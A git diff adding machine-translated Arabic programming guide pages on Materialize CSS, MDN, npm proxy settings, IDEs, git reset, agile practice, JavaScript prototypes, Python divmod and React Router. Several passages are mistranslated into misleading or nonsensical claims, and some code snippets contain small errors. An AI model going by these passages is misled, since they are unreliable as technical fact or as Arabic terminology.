+اساسا كل اسم فئة مرارا وتكرارا لديه btn- تعلق بها. وهذا هو الحال في الغالب بالنسبة للعديد من مكونات التمهيد الأخرى خاصة عندما تريد إضافة فئات بسيطة مثل اللون.
+
+مع Materialize ، يمكنك إضافة جميع الطبقات ببساطة على النحو التالي:
+
+ `<button class="btn waves-effect waves-light green">My Button</a> 
+` 
+
+كما ترون ، تم تخفيض استخدام btn-. يمكن إعادة استخدام الفئة `green` مع أي عنصر HTML آخر بخلاف `button` الموضح في هذه الحالة.
+
+هناك نسخة أخرى أخف من المواد "تصميم الإطار" ولكنها ليست أنيقة أو بسيطة مثل إطار materializeCSS بخلاف هذه البساطة ، وهنا المزيد من الأسباب لماذا أحب materializeCSS:
+
+*   انه سهل! - مجرد التأكيد
+*   إنها مفتوحة المصدر ، يمكنك الحصول عليها هنا
+*   مجتمع ينمو أيضا حوله
+*   يبحث [شخص ما](http://fezvrasta.github.io/bootstrap-material-design/) لإنتاج مزيج من Bootstrap + Materialize. Sweeet!
+
+## أي شيء آخر؟
+
+جربها وربما ستحبها. في الواقع ، نظرًا لأنه قد تم بالفعل توجيه واجهة مستخدم Android ، قد تكون هذه طريقة جيدة لتحسين أدائك في التصميم متعدد الأبعاد لتطبيقات الويب التي تركز على الجوال مثل [تطبيقات الويب التقدمية](https://developers.google.com/web/fundamentals/getting-started/your-first-progressive-web-app/#what-will-you-learn)
+
+### ربما يجب عليك عدم استخدامه ... حتى الآن
+
+انها تمر بتغييرات يجري في مرحلة ألفا. لذلك قد تخطيها وعدم استخدامها في مشروع حاسم حتى تنضج.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/mozilla-developer-network-mdn/index.md b/client/src/guide/arabic/miscellaneous/mozilla-developer-network-mdn/index.md
new file mode 100644
index 0000000000..56a200e01c
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/mozilla-developer-network-mdn/index.md
@@ -0,0 +1,9 @@
+---
+title: Mozilla Developer Network (MDN)
+localeTitle: شبكة مطوري موزيلا (MDN)
+---
+## شبكة مطوري موزيلا (MDN)
+
+[MDN](https://developer.mozilla.org/) عبارة عن منصة تعليمية لتكنولوجيات الويب والبرامج التي تدعم الويب.
+
+يهدف MDN إلى تزويد المطورين بالمعلومات التي يحتاجونها لإنشاء مشاريع بسهولة على الويب المفتوح. إذا كانت تقنية مفتوحة معرّضة للويب ، فإن MDN تريد توثيقها.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/mozilla-developer-network/index.md b/client/src/guide/arabic/miscellaneous/mozilla-developer-network/index.md
new file mode 100644
index 0000000000..9ea11fad29
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/mozilla-developer-network/index.md
@@ -0,0 +1,14 @@
+---
+title: Mozilla Developer Network (MDN)
+localeTitle: شبكة مطوري موزيلا (MDN)
+---
+! \[MDN Web DOcs\] ( https://res.infoq.com/news/2017/06/mdn-web-documentation-update/en/resources/logo-600x154.png "MDN")
+
+تعد شبكة مطوري موزيلا ، والمعروفة أيضًا باسم MDN ، موردًا مجانيًا للمطورين على وثائق معايير الويب مثل HTML5 ، CSS ، جافا سكريبت ، واجهات برمجة التطبيقات على الويب ، والرسومات (قماش ، SVG ، WebGL) ، MathML ، Web Assembly ، إلخ.
+
+يحافظ مجتمع المطورين والمساهمين الآخرين على تحديث MDN.
+
+المراجع
+
+*   [MDN (رسمي)](https://developer.mozilla.org/en-US/)
+*   [MDN (ويكيبيديا)](https://en.wikipedia.org/wiki/MDN_Web_Docs)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/npm-behind-a-proxy-server/index.md b/client/src/guide/arabic/miscellaneous/npm-behind-a-proxy-server/index.md
new file mode 100644
index 0000000000..07302660b6
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/npm-behind-a-proxy-server/index.md
@@ -0,0 +1,43 @@
+---
+title: Npm Behind a Proxy Server
+localeTitle: NPM خلف خادم وكيل
+---
+## استخدم حالات
+
+قد تحتاج إلى تعديل أوامر `npm install` التي تصل إلى المستودعات البعيدة ( [npmjs](https://www.npmjs.com/) ، على سبيل المثال) لتثبيت وحدات Node JS ؛ إذا كان الوصول إلى الإنترنت الخاص بك من خلال [خادم وكيل](https://en.wikipedia.org/wiki/Proxy_server) .
+
+تُعد خوادم الوكيل شائعة في البيئات من نوع الكلية والأعمال.
+
+يمكنك [تحديد إعدادات الخادم الوكيل](http://www.wikihow.com/Change-Proxy-Settings) من لوحة إعدادات المتصفح.
+
+## باستخدام وكيل مع الآلية الوقائية الوطنية
+
+بمجرد الحصول على إعدادات الوكيل (عنوان URL الخادم والمنفذ واسم المستخدم وكلمة المرور) ؛ تحتاج إلى تكوين تكوينات `npm` الخاصة بك على النحو التالي.
+
+ `$ npm config set proxy http://<username>:<password>@<proxy-server-url>:<port> 
+ $ npm config set https-proxy http://<username>:<password>@<proxy-server-url>:<port> 
+` 
+
+سيتعين عليك استبدال `<username>` و `<password>` و `<proxy-server-url>` و `<port>` بالقيم الخاصة ببيانات اعتماد الخادم الوكيل.
+
+هذه الحقول اختيارية. على سبيل المثال ، قد لا يتطلب الخادم الوكيل الخاص بك `<username>` و `<password>` ، أو ربما يعمل على المنفذ 80 (وفي هذه الحالة ، لا يكون `<port>` مطلوبًا).
+
+وبمجرد الانتهاء من إعداد هذه البرامج ، `npm install` `npm i -g` ، و `npm i -g` إلخ بشكل صحيح.
+
+## متى لا تستخدم
+
+لا يجب عليك استخدام أوامر `npm` مع إعدادات الوكيل ، إذا حدث أي مما يلي:
+
+> *   لا يسمح لك مسؤول النظام أو سياسة الشركة بالوصول إلى مستودعات `npm` عن بعد من NPM-JS ، على سبيل المثال.
+> *   المستودع البعيد لوحدات Node المعنية ليس موجودًا في جهازك ، ولكنه موجود داخل الشبكة الداخلية.
+
+## غير إعدادات الوكيل
+
+استخدم مشاركة المدونة [هذه](http://luxiyalu.com/how-to-remove-all-npm-proxy-settings/) لإلغاء تعيين إعدادات الخادم الوكيل. يمكنك أيضًا إزالة الأسطر التي تحدد إعدادات الخادم الوكيل `.npmrc` [ملف](https://docs.npmjs.com/files/npmrc) `.npmrc` الخاص بك.
+
+## مصادر
+
+يمكنك استخدام الموارد التالية لمزيد من القراءة حول هذا: -
+
+> *   [هل يمكنني تسجيل الدخول خلف خادم وكيل](https://github.com/npm/npm/issues/9401#issuecomment-134569585)
+> *   [NPM خلف وكيل الشركة](http://intenseagile.com/2015/09/04/npm-behind-proxy.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/online-vs-offline-ides/index.md b/client/src/guide/arabic/miscellaneous/online-vs-offline-ides/index.md
new file mode 100644
index 0000000000..38f71a716a
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/online-vs-offline-ides/index.md
@@ -0,0 +1,44 @@
+---
+title: Online vs Offline IDEs
+localeTitle: على الانترنت مقابل IDEs غير متصل
+---
+## IDEs غير متصل
+
+هناك العديد من **IDE** s التي يستخدمها المبرمجون لتبقى أكثر إنتاجية للتعلم وتكون أكثر إنتاجية في العمل.
+
+*   [**Eclipse**](https://www.app5.unisys.com/offerings/ClearPathConnection/eclipse.html) أكثر من مجرد محرر Java. أكبر مزاياها هي إكمال الشفرة بطريقة tabbing ، مما يوفر الكثير من الوقت عند كتابة الوثائق.
+
+يحتوي على تدقيق بناء جملة لإصلاح أي كلمات مخطئة أثناء ترميز المشروع. تتمثل الميزات التي توقعناها من IDE في اكتمال التعليمات البرمجية ، والقوالب ، والتكامل مع مختلف أنظمة SCMS ، والتكامل مع أنظمة الإنشاء.
+
+تعتبر أدوات تنسيق وتنسيق رموز IDE قوية للغاية. أجد نظام بنائها للعمل بشكل جيد وبشكل حدسي. أعتقد أن هذه هي الأشياء التي بنيت عليها بالفعل سمعتها.
+
+وعلاوة على ذلك ، فإنه يحتوي على وظيفة إعادة بناء ، وظيفة البحث عن واستبدال ، والمتغيرات والفئات لمشروع معين.
+
+*   [**NetBeans**](https://netbeans.org/features/) هو محرر بديهية مجانية تفعل كل شيء. لديه أداة تصميم "Swing GUI" بسيطة لبناء واجهات المستخدم عن طريق سحب وإفلات المكونات ، على سبيل المثال الأزرار أو مربعات النص.
+
+_عيب_ واحد هو أنه مع كل ميزاته زيادة مرات التحميل واستخدام المزيد من الذاكرة ، مقارنة مع IDEs أخرى.
+
+*   [**IntelliJ IDEA**](https://www.jetbrains.com/idea/) هو المحرر الأكثر فاعلية في وضع عدم الاتصال ، إلا أنه ليس مجانيًا. إنه أسرع من معظم المحررين ، إلا أنه يحتوي على عدد من المشكلات. إحدى المزايا الرئيسية هي أنه يستخدم ذاكرة كبيرة جدًا.
+    
+*   [**BlueJ**](http://www.bluej.org/) هو محرر بسيط يستخدم في الغالب لتعليم جافا والبرمجة الموجهة للكائنات. الميزة الرئيسية لهذا المحرر مقارنة جنبا إلى جنب مع IDEs الأخرى هو أنه لا يحتاج إلى طريقة رئيسية لتشغيل البرنامج.
+    
+
+## IDEs على الانترنت
+
+*   [**CodeRun Studio**](http://www.webappers.com/2009/12/04/coderun-studio-free-cross-platform-online-ide/) هو IDE عبر الإنترنت يتيح لك إنشاء تطبيقات ويب. انها تسمح لك لتشغيل واختبار رمز عبر الإنترنت.
+
+سيسمح لك IDE باستخدامه لفترة تجريبية لمدة 14 يومًا قبل أن تحتاج إلى الدفع للاستمرار في استخدامه. يتم أيضًا تعطيل وظيفة "الحفظ" أثناء الفترة التجريبية ، مما يجعل من الصعب استخدام هذا البرنامج.
+
+*   [**Cloud9 IDE**](https://c9.io) Cloud9 IDE هو برنامج مفتوح المصدر ، الإصدار 3.0 وما بعده ، بيئة التطوير المتكاملة عبر الإنترنت. وهو يدعم المئات من لغات البرمجة ، بما في ذلك PHP ، و Ruby ، ​​و Perl ، و Python ، و JavaScript مع Node.js ، و Go. إنها تمكن المطورين من البدء في الترميز على الفور مع مساحات العمل المحددة مسبقًا ، والتعاون مع أقرانهم باستخدام ميزات التشفير التعاوني ، وخصائص تطوير الويب مثل المعاينة المباشرة ("WYSIWYG" أو "ما تراه هو ما تحصل عليه") واختبار التوافق مع المتصفح.
+
+مكتوب بشكل شبه كامل في JavaScript ، ويستخدم Node.js على النهاية الخلفية. يستخدم عنصر المحرر Ace. اعتبارًا من يوليو 2014 ، تستخدم حاويات Docker لمساحات العمل الخاصة بها ، ويتم استضافتها على Google Compute Engine.
+
+Cloud9 IDE، Inc. هي الشركة التي تحافظ بنشاط على Cloud9 IDE. تمتلك الشركة مكاتب في سان فرانسيسكو وأمستردام.
+
+## استنتاج
+
+هناك اختلافات عديدة بين المحررين عبر الإنترنت والمحررين غير المتصلين.
+
+قد يكون IDE غير متصل بالإنترنت أكثر فائدة للمبرمج بدلاً من IDE عبر الإنترنت. لا تقتصر المشروعات الضخمة على استيعاب الكثير من الذاكرة مما يؤدي إلى إبطاء سرعة الماكينة. إذا كنت تعمل في فريق ، فستحتاج إلى اتصال إنترنت سريع بشكل معقول لدفع الشفرة المحدثة بسرعة. إذا كان هناك عاصفة كبيرة وتأثر اتصالك بالإنترنت ، فسوف يتسبب ذلك في عدم اكتمال مشروعاتك وعدم اكتمالها إذا تم استخدام IDE عبر الإنترنت.
+
+الميزة الوحيدة من IDE على الإنترنت هو أنه يمكن الوصول إلى المشاريع في كل مكان ، لا يلزم إعداد وتكوينات. لا يوجد أي قيود على الأجهزة لأن جميع المعلومات يتم تخزينها في السحابة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/openid-connect-implicit-flow/index.md b/client/src/guide/arabic/miscellaneous/openid-connect-implicit-flow/index.md
new file mode 100644
index 0000000000..a82a32ec29
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/openid-connect-implicit-flow/index.md
@@ -0,0 +1,9 @@
+---
+title: OpenID Connect Implicit Flow
+localeTitle: OpenID Connect Implicit Flow
+---
+## OpenID Connect Implicit Flow
+
+يوفر آلية للتطبيقات المستندة إلى المتصفح للحصول على رموز OAuth للتفاعل مع الخدمات الخلفية.
+
+مرتبط بشكل خاص بـ: http://openid.net/specs/openid-connect-implicit-1\_0.html
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/organize-local-group-events/index.md b/client/src/guide/arabic/miscellaneous/organize-local-group-events/index.md
new file mode 100644
index 0000000000..903392b298
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/organize-local-group-events/index.md
@@ -0,0 +1,22 @@
+---
+title: Organize Local Group Events
+localeTitle: تنظيم أحداث المجموعة المحلية
+---
+جلسات وأحداث برمجة المجموعات الشخصية ممتعة!
+
+## سوف يساعدك هذا الويكي في تنظيم حدث محلي ناجح.
+
+مع القليل من التخطيط والتواصل ، قد يكون من السهل وجود حدث ناجح للمجموعة المحلية! فيما يلي بعض الخطوات لمساعدتك في القيام بذلك:
+
+*   حدد موضوع الحدث (الكود والقهوة ، وجلسة الاختراق ، ودعوة المعسكر إلى حدث منظمة أخرى).
+    
+*   ابحث عن موقع مناسب. يجب أن تتم أحداث المجموعة المحلية دائمًا في مكان عام (مكتبة ، مقهى ، هاكر سبيس).
+    
+*   أنشئ حدثًا على صفحة Facebook الخاصة بالمجموعة المحلية الخاصة بك للحدث ، واربطه في صفحة مجموعة Google على Facebook.
+    
+*   المتابعة مع المشاركات التذكيرية للحدث قبل أسبوع واحد من الحدث ثم مرة أخرى اليوم السابق لهذا الحدث.
+    
+*   في يوم الحدث ، يمكنك الوصول مبكرًا ، والتركيب ، والترحيب بالأعضاء ، ووقف الحدث. لا تنس أن تشكر الجميع بعد ذلك وتوسّع الدعوات للاجتماعات المستقبلية.
+    
+
+**حاول التقاط بعض الصور ونشرها على صفحة مجموعة Facebook الخاصة بمجموعتك المحلية.**
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/override-local-files-with-git-pull/index.md b/client/src/guide/arabic/miscellaneous/override-local-files-with-git-pull/index.md
new file mode 100644
index 0000000000..a795c02f5c
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/override-local-files-with-git-pull/index.md
@@ -0,0 +1,48 @@
+---
+title: Override Local Files with Git Pull
+localeTitle: تجاوز الملفات المحلية مع سحب جيت
+---
+# متى تحتاج إلى الكتابة فوق الملفات المحلية؟
+
+إذا شعرت بالحاجة إلى تجاهل جميع التغييرات المحلية الخاصة بك وإعادة تعيين / الكتابة فوق كل شيء بنسخة من الفرع البعيد ، فعليك اتباع هذا الدليل.
+
+هام: إذا كان لديك أي تغييرات محلية ، فسيتم فقدها. مع أو بدون `--hard` خيار `--hard` ، سيتم فقدان أي تعهدات محلية لم يتم دفعها.  
+إذا كان لديك أي ملفات لا يتم تتبعها بواسطة Git (مثل محتوى المستخدم الذي تم تحميله) ، فلن تتأثر هذه الملفات.
+
+## سير العمل فوق الكتابة:
+
+للكتابة فوق الملفات المحلية ، قم بما يلي:
+
+ `git fetch --all 
+ git reset --hard <remote>/<branch_name> 
+` 
+
+فمثلا:
+
+ `git fetch --all 
+ git reset --hard origin/master 
+` 
+
+## كيف تعمل:
+
+`git fetch` download the latest from remote without try to merge or rebase anything.
+
+ثم يعيد تعيين GET إعادة تعيين الفرع الرئيسي إلى ما جلبته للتو. يقوم الخيار `--hard` بتغيير كل الملفات في شجرة العمل الخاصة بك لمطابقة الملفات في `origin/master` .
+
+## معلومة اضافية:
+
+تجدر الإشارة إلى أنه من الممكن الحفاظ على الالتزام المحلي الحالي عن طريق إنشاء فرع من الفرع `master` أو الفرع الذي تريد العمل عليه قبل إعادة التعيين:
+
+فمثلا:
+
+ `git checkout master 
+ git branch new-branch-to-save-current-commits 
+ git fetch --all 
+ git reset --hard origin/master 
+` 
+
+بعد ذلك ، سيتم الاحتفاظ بجميع الإلتزامات القديمة في الالتزامات `new-branch-to-save-current-commits` . ومع ذلك ، سيتم فقدان التغييرات غير الملتزم بها (حتى يتم تقسيمها). تأكد من خبأ وارتكاب أي شيء تحتاجه.
+
+## النسبة:
+
+_تستند هذه المقالة إلى سؤال Stack Overflow [هنا](http://stackoverflow.com/questions/1125968/force-git-to-overwrite-local-files-on-pull/8888015#8888015)_
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/programming-fundamentals/index.md b/client/src/guide/arabic/miscellaneous/programming-fundamentals/index.md
new file mode 100644
index 0000000000..bbe51ab49d
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/programming-fundamentals/index.md
@@ -0,0 +1,8 @@
+---
+title: Programming Fundamentals
+localeTitle: أساسيات البرمجة
+---
+> أولاً افعلها ، ثم افعلها بشكل صحيح ، ثم افعلها بشكل أفضل. هذا أمر أساسي أذكره دائمًا عند تطوير أي شيء.  
+> إذا كنت مطورًا ترغب في تعلم شيء جديد ، بغض النظر عن مستوى المهارة ، فتذكر أنه بقدر أهمية القراءة ، فإنه من المهم بنفس القدر الخروج والقيام _به_ .  
+> إنشاء gist جديد أو JSBin ، فتح فتح وحدة التحكم والتجربة. إنه ممتع  
+> \- [عدي عثماني](http://addyosmani.com)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/programming-methodology/index.md b/client/src/guide/arabic/miscellaneous/programming-methodology/index.md
new file mode 100644
index 0000000000..8334f18773
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/programming-methodology/index.md
@@ -0,0 +1,27 @@
+---
+title: Programming Methodology
+localeTitle: منهجية البرمجة
+---
+### المبادئ الرشيقة التأسيسية
+
+**_الأفراد والتفاعلات_** على **_العمليات والأدوات_**
+
+**_العمل_** على **_برنامج_** **_شامل_**
+
+**_تعاون العملاء_** على **_التفاوض_** على **_العقود_**
+
+**_الاستجابة للتغيير_** **_بعد اتباع خطة_**
+
+## قصص المستخدم
+
+تساعدنا قصص المستخدمين على ربط احتياجات مستخدمينا مباشرةً بالميزات التي ننفذها في تنسيق المحادثة. فهم **دائمًا** يتبعون هذه البنية: _"بصفتي مستخدمًا / صاحب مصلحة ، أحتاج / أريد أن أكون قادرًا على فعل شيء ما"_ . قد ينتج عن ذلك بعض القصص المربكة للميزات "الواضحة" مثل _"كمستخدم ، يجب أن أكون قادرًا على الوثوق في أن معلومات بطاقتي الائتمانية آمنة"._ ، ولكن من الضروري أن تعيد جميع السمات إلى قصة من أجل السماح لنا بقطع العمل بفعالية إلى أجزاء يمكن التحكم فيها.
+
+## سباقات السرعة
+
+"Sprint" هي دورة تطوير قصيرة (من 1 إلى 3 أسابيع) يتم خلالها إكمال عدد من القصص أو المهام الفرعية حتى نهاية السباق. الفكرة وراء "الركض" هي السماح لنا **بتقديم** قصة إلى بطل المشروع للحصول على ملاحظات / موافقة. يضمن سير العمل التكراري هذا حصولنا على دعم مستمر من بطل المشروع ونقوم بتوصيل الوظائف التي تعمل على حد سواء ، وهي ذات قيمة.
+
+## SCRUM
+
+على المستوى الأساسي ، يساعدنا برنامج SCRUM في المحافظة على التركيز والتركيز على الحالة في كل مهمة تم تعيينها بالإضافة إلى كسر حواجز الاتصال. في العديد من الإعدادات المهنية يبدأ يوم العمل بـ "Daily Scrum". سوف نتابع برنامج سكر الأسبوع لمواءمته مع السباقات السريعة. فشل سكروم شائع هو محاولة حل المشكلة أثناء سكروم. يجب أن يتم استكشاف الأخطاء وإصلاحها والعصف الذهني دائمًا كمهمة منفصلة عن SCRUM.
+
+اقرأ المزيد [هنا](http://scrummethodology.com/) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/project-tribute-page-tips/index.md b/client/src/guide/arabic/miscellaneous/project-tribute-page-tips/index.md
new file mode 100644
index 0000000000..dd1f708fad
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/project-tribute-page-tips/index.md
@@ -0,0 +1,33 @@
+---
+title: Project Tribute Page Tips
+localeTitle: مشروع إشادة صفحة نصائح
+---
+قد تكون هذه أول صفحة ويب كاملة قمت بإنشائها. إليك بعض النصائح لمساعدتك على البدء بهذا:
+
+## قائمة الميزات
+
+أدرج الميزات التي تتطلبها قصص المستخدمين وأي قواعد أخرى يجب عليك استيفاؤها. فقط اكتبها على قطعة من الورق. جعلها على الورق وليس في ملف سيجعل الرجوع إليها أسرع أثناء عملية التصميم.
+
+## تخطيط صفحتك على الورق
+
+قد يبدو الأمر سخيًا بعض الشيء ولكن هذه طريقة رائعة لبدء تصور ما يجب أن تبدو عليه الصفحة. يمكن أن تكون عناصر الصفحة التي يجب أن تبدأ بها عنوانًا وصورًا ونصوصًا وروابط.
+
+## ابحث في جميع أنحاء عن الموضوعات المحتملة لجهودك
+
+اخترني! امزح فقط. فكر في شخص يلهمك وأنت تبحث عنه. شخص مشهور. ابحث عنها على ويكيبيديا ثم ابحث في مصادر مقالة ويكيبيديا لمزيد من القراءة. لا مجرد نسخ النص من صفحة ويكيبيديا إلى موقع الويب الخاص بك. اجعل النص أصليًا.
+
+## إعادة مشاهدة الفيديو والتركيز على التخطيط التفصيلي المستخدم
+
+إلقاء نظرة أكثر تفصيلاً على المثال سبيل المثال الجزية. ادخل إلى الدردشة واطلب من شخص ما مشاركة صفحة تكريمه لك. ابحث عبر الإنترنت عن تصميمات الويب الشيقة وشاهد ما يمكنك نسخه. هناك محيط من المواقع الرائعة هناك.
+
+## استخدم مكتبة كما هو مقترح في القواعد. Bootstrap هي مكتبة
+
+تنص القاعدة 2 على أنه يمكنك استخدام أي المكتبات التي تحتاج إليها. لتوفير الوقت والجهد والارتباك ، فإن Bootstrap هي مكتبة.
+
+## رابطك الخارجي لا يعمل
+
+اتبع الإرشادات الموجودة في نهاية الفيديو لمعرفة ما تريد إضافته إلى الارتباط التشعبي. هذا يجب أن تعمل.
+
+## إضافة الصور إلى صفحتك
+
+احذر من مجرد نسخ أي صورة تجدها. هذا يمكن أن ينتهك حقوق الطبع والنشر لشخص ما. إما العثور على صورة على [صفحة صور مجانية](http://www.freeimages.com) ثم تحميلها إلى مكان ما مثل [فوتوبوكت](http://www.photobucket.com) للحصول على رابط يمكنك استخدامه بعد ذلك لإدراج الصورة على الصفحة أو ربط الصورة مباشرة من المصدر الأصلي.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/pseudoclassical-class-definition/index.md b/client/src/guide/arabic/miscellaneous/pseudoclassical-class-definition/index.md
new file mode 100644
index 0000000000..ea930a744d
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/pseudoclassical-class-definition/index.md
@@ -0,0 +1,39 @@
+---
+title: Pseudoclassical Class Definition
+localeTitle: الطبقة الطبقية الكاذبة
+---
+يحدث تعريف الفئة pseudoclassical في 2 كتل رمز بدلا من واحد ، والذي يحدث في لغات أخرى مثل Python و PHP.
+
+يسمى الكتلة الأولى "دالة منشئ" حيث يتم تعريف سمات الفئة. هذه هي جوانب الفصل الفريدة لكل مثيل جديد. مثال مع السيارات هو أن العلامة التجارية واللون والمكان يمكن أن تختلف. في الكتلة الثانية من التعليمات البرمجية التي تقوم بتعريف الطرق التي سيتم مشاركتها بواسطة كل مثيل للفئة. من الأمثلة على ذلك الأشياء التي يمكن أن تقوم بها السيارة ، القيادة إلى الأمام ، التوقف ، فتح الباب.
+
+## مثال
+
+ `var Car = function(brand, color, location) { 
+ this.brand = brand; 
+ this.color = color; 
+ this.location = location 
+ }; 
+ 
+ Car.prototype = { 
+ move: function() { this.location++; }, 
+ stop: function() { this.location = 0; }, 
+ }; 
+` 
+
+## تفسير
+
+السبب في تعريف الفئة بالكامل في كتل 2 هو حفظ على الذاكرة عند بدء تشغيل مثيلات الفئة. إذا كان تعريف الفئة نمطًا "وظيفيًا" ، فهناك نسخة جديدة من الطريقة (الطرق) التي تم إجراؤها **لكل** مثيل. من خلال التصريح عن نمط "Pseudoclassical" للفئة يتم تخزين نسخة _واحدة_ فقط من الأساليب في الذاكرة.
+
+عندما يحاول مثيل الطبقة الوصول إلى طريقة:
+
+ `var x_car = new Car('lexus', 'white', 0); 
+ x_car.move(); 
+` 
+
+في الواقع يفشل المترجم _أولاً_ في العثور على الأسلوب المدعو في الكائن نفسه حيث إنه مصنوع من دالة منشئ السيارة. كما ترى أعلاه لا يوجد أي إشارة إلى أي من الطرق في وظيفة منشئ السيارة. من هناك ، يبحث المترجم إلى `Car.prototype` والذي تتم مشاركته الآن بين جميع الحالات. هناك يجد المترجم الطريقة التي كانت تسمى!
+
+### قراءة متعمقة:
+
+[مدونة ناتاك](https://natacseanc.wordpress.com/2015/08/04/javascript-object-create-and-classes/)
+
+[فئات MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Introduction_to_Object-Oriented_JavaScript)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/push-a-new-local-branch-to-a-remote-git-repository-and-track-it-too/index.md b/client/src/guide/arabic/miscellaneous/push-a-new-local-branch-to-a-remote-git-repository-and-track-it-too/index.md
new file mode 100644
index 0000000000..cc286ca49d
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/push-a-new-local-branch-to-a-remote-git-repository-and-track-it-too/index.md
@@ -0,0 +1,11 @@
+---
+title: Push a New Local Branch to a Remote Git Repository and Track it Too
+localeTitle: ادفع فرعًا محليًا جديدًا إلى مستودع Git عن بُعد وتتبعه أيضًا
+---
+1.  إنشاء فرع جديد:  
+    `git checkout -b feature_branch_name`
+2.  قم بتحرير وإضافة وإلزام ملفاتك.
+3.  ادفع فرعك إلى المستودع البعيد:  
+    `git push -u origin feature_branch_name`
+
+_إنها بهذه السهولة!_
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/python-function-divmod/index.md b/client/src/guide/arabic/miscellaneous/python-function-divmod/index.md
new file mode 100644
index 0000000000..2cd6860b38
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/python-function-divmod/index.md
@@ -0,0 +1,30 @@
+---
+title: Python Function Divmod
+localeTitle: بيثون وظيفة Divmod
+---
+# بايثون `divmod(a,b)`
+
+`divmod()` هي `divmod()` في Python 3 ، والتي تقوم بارجاع quient والباقي عند قسمة الرقم `a` على الرقم `b` . يستغرق الأمر رقمين كوسيطة `a` & `b` . لا يمكن أن تكون الوسيطة رقمًا معقدًا.
+
+## جدال
+
+يستغرق الوسيطتين `a` & `b` - عدد صحيح ، أو رقم عشري. لا يمكن أن يكون رقمًا معقدًا.
+
+## قيمة الإرجاع
+
+ستكون قيمة الإرجاع هي زوج الأرقام الموجبة المكونة من حاصل القسمة والبقية التي يتم الحصول عليها بقسمة `a` `b` . في حالة أنواع المعاملات المختلطة ، سيتم تطبيق قواعد مشغلي الحساب الثنائي.  
+بالنسبة **لقيم الرقم الصحيح** ، ستكون قيمة الإرجاع مماثلة `(a // b, a % b)` .  
+بالنسبة **لقيم الأعداد العشرية** ، ستكون قيمة الإرجاع مماثلة لـ `(q, a % b)` ، حيث `q` عادةً ما يكون **math.floor (a / b)** ولكن قد يكون أقل من ذلك.
+
+## عينة الكود
+
+ `print(divmod(5,2)) # prints (2,1) 
+ print(divmod(13.5,2.5)) # prints (5.0, 1.0) 
+ q,r = divmod(13.5,2.5)  # Assigns q=quotient & r= remainder 
+ print(q) # prints 5.0 because math.floor(13.5/2.5) = 5.0 
+ print(r) # prints 1.0 because (13.5 % 2.5) = 1.0 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [REPL ذلك!](https://repl.it/FGLK/0)
+
+[المستندات الرسمية](https://docs.python.org/3/library/functions.html#divmod)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/react-router-cheatsheet/index.md b/client/src/guide/arabic/miscellaneous/react-router-cheatsheet/index.md
new file mode 100644
index 0000000000..5b5d75a8df
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/react-router-cheatsheet/index.md
@@ -0,0 +1,98 @@
+---
+title: React Router Cheatsheet
+localeTitle: رد فعل تشاتر راوتر
+---
+استنادًا إلى [http://ricostacruz.com/cheatsheets/react-router.html](http://ricostacruz.com/cheatsheets/react-router.html) ولكن تم تحديثه لـ v2.0.0 من React Router.
+
+## الأساسية
+
+ `import { render } from 'react-dom' 
+ import { Router, Route, browserHistory } from 'react-router' 
+ 
+ // Import RootView and NoMatch 
+ 
+ render(( 
+  <Router history={browserHistory}> 
+    <Route path="/" component={RootView} /> 
+    <Route path="*" component={PageNotFound} /> 
+  </Router> 
+ ), document.getElementById('app')) 
+` 
+
+## التعشيش
+
+ `import React from 'react' 
+ import { render } from 'react-dom' 
+ import { Router, Route, browserHistory } from 'react-router' 
+ 
+ // Import About, Inbox and Messages 
+ 
+ class Chrome extends React { 
+  render () { 
+    return ( 
+      <div> 
+        <h1>App</h1> 
+        <a href="/about">About</a> 
+        <a href="/inbox">Inbox</a> 
+        <a href="/messages">Messages</a> 
+        { this.props.children } 
+      </div> 
+    ) 
+  } 
+ } 
+ 
+ render(( 
+  <Router history={browserHistory}> 
+    <Route path="/" component={Chrome}> 
+      <Route path="about" component={About} /> 
+      <Route path="inbox" component={Inbox} /> 
+      <Route path="messages" component={Messages} /> 
+    </Route> 
+  </Router> 
+ ), document.getElementById('app')) 
+` 
+
+## عنوان بارامز
+
+ ``class Message extends React { 
+  componentDidMount() { 
+    // from the path `/inbox/messages/:id` 
+    const id = this.props.params.id 
+    ... 
+`` 
+
+## حلقة الوصل
+
+ ``import { Link } from 'react-router' 
+ 
+ /* Nav Component */ 
+  ... 
+  render() { 
+    ... 
+    const userId = 10; 
+ 
+    return ( 
+      // Adding params is as simple as appending them to the route 
+      <Link to={`user/${userId}`}>User 10</Link> 
+ 
+      // Classes can be added to the link element if the current route is the one they link to 
+      <Link to="login" 
+        activeClassName="-active">Login</Link> 
+    ) 
+  } 
+`` 
+
+## التكوين الأخرى
+
+ `<Route path="/"> 
+  <IndexRoute component={Home} /> 
+  <Route path="*" handler={NotFound} /> 
+ 
